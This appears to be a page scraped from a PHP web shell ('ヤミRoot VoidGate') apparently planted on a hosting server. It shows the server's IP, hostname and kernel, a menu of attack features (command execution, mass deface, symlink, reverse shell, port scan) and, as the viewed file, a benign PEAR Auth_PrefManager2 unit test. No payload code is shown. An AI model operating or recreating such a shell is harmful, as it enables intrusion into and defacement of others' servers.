ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
tests
/
Auth_PrefManager2
/
tests
/
Viewing: CommonTests.php
<?php /* vim: set expandtab tabstop=4 shiftwidth=4 foldmethod=marker: */ // +----------------------------------------------------------------------+ // | Copyright (c) 2004 Jon Wood | // +----------------------------------------------------------------------+ // | This source file is subject to version 2.02 of the PHP license, | // | that is bundled with this package in the file LICENSE, and is | // | available at through the world-wide-web at | // | http://www.php.net/license/2_02.txt. | // | If you did not receive a copy of the PHP license and are unable to | // | obtain it through the world-wide-web, please send a note to | // | license@php.net so we can mail you a copy immediately. | // +----------------------------------------------------------------------+ // | Authors: Jon Wood <jon@jellybob.co.uk> | // | Paul M. Jones <pmjones@ciaweb.net> | // +----------------------------------------------------------------------+ // // $Id: CommonTests.php,v 1.1 2004/07/07 16:41:53 jellybob Exp $ /** * Require Auth_PrefManager2 for testing. */ require_once('Auth/PrefManager2.php'); /** * Test cases to ensure that the logic for returning default prefs if no * specific ones are available. * * @author Jon Wood <jon@jellybob.co.uk> * @package Auth_PrefManager2 * @version 0.1.0 */ class CommonTests extends UnitTestCase { /** * Constructor * * @access public * @return void */ function CommonTests() { $this->UnitTestCase(); } /** * Test the setting and retrieval of a basic preference. * * @access public * @return void */ function testUserPref() { $object =& Auth_PrefManager2::factory("Array"); $this->assertTrue($object->setPref('email', 'test@example.com', 'test')); $this->assertEqual($object->getPref('email', 'test'), 'test@example.com'); } /** * Test the setting and retrieval of a default preference. * * @access public * @return void */ function testDefaultPref() { $object =& Auth_PrefManager2::factory("Array"); $this->assertTrue($object->setPref('email', 'test@example.com')); $this->assertEqual($object->getPref('email', 'test'), 'test@example.com'); } /** * Test the use of applications. * * @access public * @return void */ function testApplicationPref() { $object =& Auth_PrefManager2::factory("Array"); $this->assertTrue($object->setPref('email', 'test@example.com', 'test')); $this->assertTrue($object->setPref('email', 'test-lists@example.com', 'test', 'mailinglist')); $this->assertEqual($object->getPref('email', 'test'), 'test@example.com'); $this->assertEqual($object->getPref('email', 'test', 'mailinglist'), 'test-lists@example.com'); } } ?>
Coded With 💗 by
0x6ick